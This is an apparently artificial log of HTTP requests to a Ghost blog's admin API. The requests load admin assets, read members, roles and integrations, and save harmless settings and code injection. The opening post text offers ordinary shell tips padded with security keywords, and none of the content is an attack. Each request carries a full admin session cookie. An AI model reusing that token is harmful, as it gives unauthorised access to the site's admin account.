shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=id%3A6af458a5d281b00001a59969&limit=1&include=authors%2Cnewsletter%2Cemail", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished&limit=1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/stats/posts-member-counts/", "headers": ["Host: example.com", "Content-Length: 67", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"postIds\":[\"6af458a5d281b00001a59969\",\"6af45710d281b00001a598a4\"]}"}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/tag-detail-BzYiFRvZ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/breadcrumb-zc_bvTJr.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/detail-page-mfw0499d.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/users/?limit=100&include=roles", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/invites/?limit=100&include=roles", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/roles/?limit=100", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/tiers/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/automated_emails/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/metafields/custom/?filter=status%3A%5Bactive%2Carchived%5D", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/newsletters/?include=count.active_members%2Ccount.posts&limit=50", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/recommendations/?include=count.clicks%2Ccount.subscribers&order=created_at+desc&limit=5", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/incoming_recommendations/?limit=5&order=created_at+desc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/stats/referrers/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/integrations/?include=api_keys%2Cwebhooks&limit=50", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/design-settings-R1OjGW68.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/network-C2Wz-Sfw.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/explore-default-logo-P7UjmPqe.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/integrations-settings-Ba5Zx8yQ.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/pintura-CXOmq-5H.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/mailchimp-Ds_NQ04w.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/members-D1Y_hke9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/member-route-BZwzEPZL.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/filters-2r-Nhhaw.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/classApi-G56FoJgF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/filter-operator-options-DxNDR7Tm.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/map-atlas-DafQOER4.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/create-custom-field-popover-Dr-RhlK0.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/labels/?limit=100&order=name+asc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/newsletters/?filter=status%3A-archived&limit=50", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?include=labels%2Ctiers&limit=100&order=created_at+desc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/world-states-CbpvhpIU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/assets/map-atlas-DafQOER4.js", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/settings/", "headers": ["Host: example.com", "Content-Length: 168", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"settings\":[{\"key\":\"title\",\"value\":\"Example Blog: python3 & powershell notes\"},{\"key\":\"description\",\"value\":\"Shell tips: ls -la, .htaccess, python3 and powershell.\"}]}"}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/code-editor-view-CSIPkKHC.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/settings/", "headers": ["Host: example.com", "Content-Length: 417", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"settings\":[{\"key\":\"codeinjection_head\",\"value\":\"<meta name=\\\"google-site-verification\\\" content=\\\"example-verification-token\\\">\\n<link rel=\\\"preconnect\\\" href=\\\"https://fonts.example.com\\\">\\n<style>:root { --ghost-accent-color: #2a6f97; } .gh-head { border-bottom: 1px solid #eee; }</style>\"},{\"key\":\"codeinjection_foot\",\"value\":\"<div class=\\\"site-note\\\">Hosted notes on python3, powershell and .htaccess.</div>\"}]}"}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/invite-user-modal-DjWUlzA-.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/roles/?limit=100&permissions=assign", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
